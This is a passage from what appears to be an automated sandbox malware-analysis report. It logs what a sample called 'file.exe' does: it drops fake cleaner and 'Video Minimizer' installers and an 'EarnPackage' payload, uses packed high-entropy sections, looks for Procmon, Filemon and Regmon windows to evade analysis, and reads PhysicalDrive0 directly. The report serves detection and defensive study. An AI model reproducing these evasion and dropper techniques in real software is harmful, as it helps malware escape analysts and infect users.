                  Source: C:\Windows\System32\svchost.exeSection loaded: elscore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: elstrans.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
                  Source: Cleaner.lnk.5.drLNK file: ..\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpWindow found: window name: TMainFormJump to behavior
                  Source: Window RecorderWindow detected: More than 3 window changes detected
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpRegistry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Video Minimizer_is1Jump to behavior
                  Source: file.exeStatic file information: File size 1985024 > 1048576
                  Source: C:\Users\user\Desktop\file.exeFile opened: C:\Windows\SysWOW64\msvcr100.dllJump to behavior
                  Source: file.exeStatic PE information: Raw size of ehftnwgk is bigger than: 0x100000 < 0x1b2800
                  Source: Binary string: msvcp71.pdbx# source: is-2UQRT.tmp.12.dr
                  Source: Binary string: msvcr71.pdb< source: is-P1KGP.tmp.12.dr
                  Source: Binary string: msvcp71.pdb source: is-2UQRT.tmp.12.dr
                  Source: Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-OQPMB.tmp.12.dr
                  Source: Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: xIphwNW7O.exe, 00000010.00000000.1948278515.0000000000F02000.00000002.00000001.01000000.0000000D.sdmp, PAB1[1].file.5.dr, xIphwNW7O.exe.5.dr
                  Source: Binary string: msvcr71.pdb source: is-P1KGP.tmp.12.dr

                  Data Obfuscation

                  barindex
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeUnpacked PE file: 15.2.videominimizer2.exe.400000.0.unpack .text:ER;_abtt_2:R;_actt_2:W;.rsrc:R;_adtt_2:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeUnpacked PE file: 15.2.videominimizer2.exe.400000.0.unpack
                  Source: xIphwNW7O.exe.5.drStatic PE information: 0xDEC807D9 [Wed Jun 9 20:26:01 2088 UTC]
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,12_2_004502C0
                  Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                  Source: PAB1[1].file.5.drStatic PE information: real checksum: 0x0 should be: 0x25a5
                  Source: Y-Cleaner.exe.5.drStatic PE information: real checksum: 0x0 should be: 0x170243
                  Source: dll[1].5.drStatic PE information: real checksum: 0x0 should be: 0x400e1
                  Source: is-4LK4F.tmp.12.drStatic PE information: real checksum: 0x0 should be: 0x335f1
                  Source: soft[1].5.drStatic PE information: real checksum: 0x0 should be: 0x170243
                  Source: _iscrypt.dll.12.drStatic PE information: real checksum: 0x0 should be: 0x89d2
                  Source: sQurASc1qLwRL.exe.5.drStatic PE information: real checksum: 0x0 should be: 0x4184a7
                  Source: is-N7369.tmp.12.drStatic PE information: real checksum: 0x0 should be: 0x435d8
                  Source: Bunifu_UI_v1.5.3.dll.5.drStatic PE information: real checksum: 0x0 should be: 0x400e1
                  Source: sQurASc1qLwRL.tmp.11.drStatic PE information: real checksum: 0x0 should be: 0xb1ce6
                  Source: _setup64.tmp.12.drStatic PE information: real checksum: 0x0 should be: 0x77d4
                  Source: file.exeStatic PE information: real checksum: 0x1ec2f5 should be: 0x1ef516
                  Source: ONE[1].file.5.drStatic PE information: real checksum: 0x0 should be: 0x4184a7
                  Source: is-BD8Q6.tmp.12.drStatic PE information: real checksum: 0x0 should be: 0xb2c03
                  Source: xIphwNW7O.exe.5.drStatic PE information: real checksum: 0x0 should be: 0x25a5
                  Source: is-2QCNJ.tmp.12.drStatic PE information: real checksum: 0x0 should be: 0x6d96b
                  Source: file.exeStatic PE information: section name:
                  Source: file.exeStatic PE information: section name: .idata
                  Source: file.exeStatic PE information: section name:
                  Source: file.exeStatic PE information: section name: ehftnwgk
                  Source: file.exeStatic PE information: section name: unlnktmr
                  Source: file.exeStatic PE information: section name: .taggant
                  Source: videominimizer2.exe.12.drStatic PE information: section name: _abtt_2
                  Source: videominimizer2.exe.12.drStatic PE information: section name: _actt_2
                  Source: videominimizer2.exe.12.drStatic PE information: section name: _adtt_2
                  Source: is-OQPMB.tmp.12.drStatic PE information: section name: Shared
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /4
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /19
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /35
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /51
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /63
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /77
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /89
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /102
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /113
                  Source: is-HMRND.tmp.12.drStatic PE information: section name: /124
                  Source: EarnPackage.exe.15.drStatic PE information: section name: _abtt_2
                  Source: EarnPackage.exe.15.drStatic PE information: section name: _actt_2
                  Source: EarnPackage.exe.15.drStatic PE information: section name: _adtt_2
                  Source: sqlite3.dll.15.drStatic PE information: section name: /4
                  Source: sqlite3.dll.15.drStatic PE information: section name: /19
                  Source: sqlite3.dll.15.drStatic PE information: section name: /35
                  Source: sqlite3.dll.15.drStatic PE information: section name: /51
                  Source: sqlite3.dll.15.drStatic PE information: section name: /63
                  Source: sqlite3.dll.15.drStatic PE information: section name: /77
                  Source: sqlite3.dll.15.drStatic PE information: section name: /89
                  Source: sqlite3.dll.15.drStatic PE information: section name: /102
                  Source: sqlite3.dll.15.drStatic PE information: section name: /113
                  Source: sqlite3.dll.15.drStatic PE information: section name: /124
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_004065C8 push 00406605h; ret 11_2_004065FD
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_004040B5 push eax; ret 11_2_004040F1
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00408104 push ecx; mov dword ptr [esp], eax11_2_00408109
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00404185 push 00404391h; ret 11_2_00404389
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00404206 push 00404391h; ret 11_2_00404389
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_0040C218 push eax; ret 11_2_0040C219
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_004042E8 push 00404391h; ret 11_2_00404389
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00404283 push 00404391h; ret 11_2_00404389
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeCode function: 11_2_00408F38 push 00408F6Bh; ret 11_2_00408F63
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0040994C push 00409989h; ret 12_2_00409981
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00483A6C push 00483B7Ah; ret 12_2_00483B72
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004062B4 push ecx; mov dword ptr [esp], eax12_2_004062B5
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004104E0 push ecx; mov dword ptr [esp], edx12_2_004104E5
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0049481C push ecx; mov dword ptr [esp], ecx12_2_00494821
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00412928 push 0041298Bh; ret 12_2_00412983
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0040CE38 push ecx; mov dword ptr [esp], edx12_2_0040CE3A
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0048515C push ecx; mov dword ptr [esp], ecx12_2_00485161
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00459120 push 00459164h; ret 12_2_0045915C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0040F398 push ecx; mov dword ptr [esp], edx12_2_0040F39A
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00443440 push ecx; mov dword ptr [esp], ecx12_2_00443444
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0040546D push eax; ret 12_2_004054A9
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0040553D push 00405749h; ret 12_2_00405741
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004055BE push 00405749h; ret 12_2_00405741
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00477628 push ecx; mov dword ptr [esp], edx12_2_00477629
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0040563B push 00405749h; ret 12_2_00405741
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004056A0 push 00405749h; ret 12_2_00405741
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004517F8 push 0045182Bh; ret 12_2_00451823
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004519BC push ecx; mov dword ptr [esp], eax12_2_004519C1
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0045FB90 push ecx; mov dword ptr [esp], ecx12_2_0045FB94
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00419C28 push ecx; mov dword ptr [esp], ecx12_2_00419C2D
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00499D1C pushad ; retf 12_2_00499D2B
                  Source: file.exeStatic PE information: section name: ehftnwgk entropy: 7.94243036954353
                  Source: Y-Cleaner.exe.5.drStatic PE information: section name: .text entropy: 7.918511524700298
                  Source: soft[1].5.drStatic PE information: section name: .text entropy: 7.918511524700298
                  Source: videominimizer2.exe.12.drStatic PE information: section name: .text entropy: 7.7492380383513595
                  Source: EarnPackage.exe.15.drStatic PE information: section name: .text entropy: 7.7492380383513595

                  Persistence and Installation Behavior

                  barindex
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive015_2_00401A4F
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive015_2_02D8E898
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-4LK4F.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcr71.dll (copy)Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Bunifu_UI_v1.5.3.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\LTDIS13n.dll (copy)Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcp71.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\gdiplus.dll (copy)Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\sqlite3.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2UQRT.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-N7369.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_shfoldr.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2QCNJ.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\unins000.exe (copy)Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].fileJump to dropped file
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeFile created: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpJump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\ONE[1].fileJump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exeJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\is-BD8Q6.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeFile created: C:\ProgramData\EarnPackage\sqlite3.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_iscrypt.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-OQPMB.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\ltkrn13n.dll (copy)Jump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-HMRND.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_setup64.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpFile created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-P1KGP.tmpJump to dropped file
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeFile created: C:\ProgramData\EarnPackage\EarnPackage.exeJump to dropped file
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeFile created: C:\ProgramData\EarnPackage\sqlite3.dllJump to dropped file
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeFile created: C:\ProgramData\EarnPackage\EarnPackage.exeJump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\ONE[1].fileJump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].fileJump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]Jump to dropped file
                  Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]Jump to dropped file

                  Boot Survival

                  barindex
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive015_2_00401A4F
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive015_2_02D8E898
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonclassJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonclassJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                  Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonclassJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeCode function: 15_2_00402B64 StartServiceCtrlDispatcherA,15_2_00402B64
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,12_2_00423C0C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,12_2_00423C0C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_004241DC IsIconic,SetActiveWindow,SetFocus,12_2_004241DC
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00424194 IsIconic,SetActiveWindow,12_2_00424194
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00418384 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,12_2_00418384
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0042285C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,12_2_0042285C
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00483420 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,12_2_00483420
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00417598 IsIconic,GetCapture,12_2_00417598
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00417CCE IsIconic,SetWindowPos,12_2_00417CCE
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_00417CD0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,12_2_00417CD0
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpCode function: 12_2_0041F118 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,12_2_0041F118
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
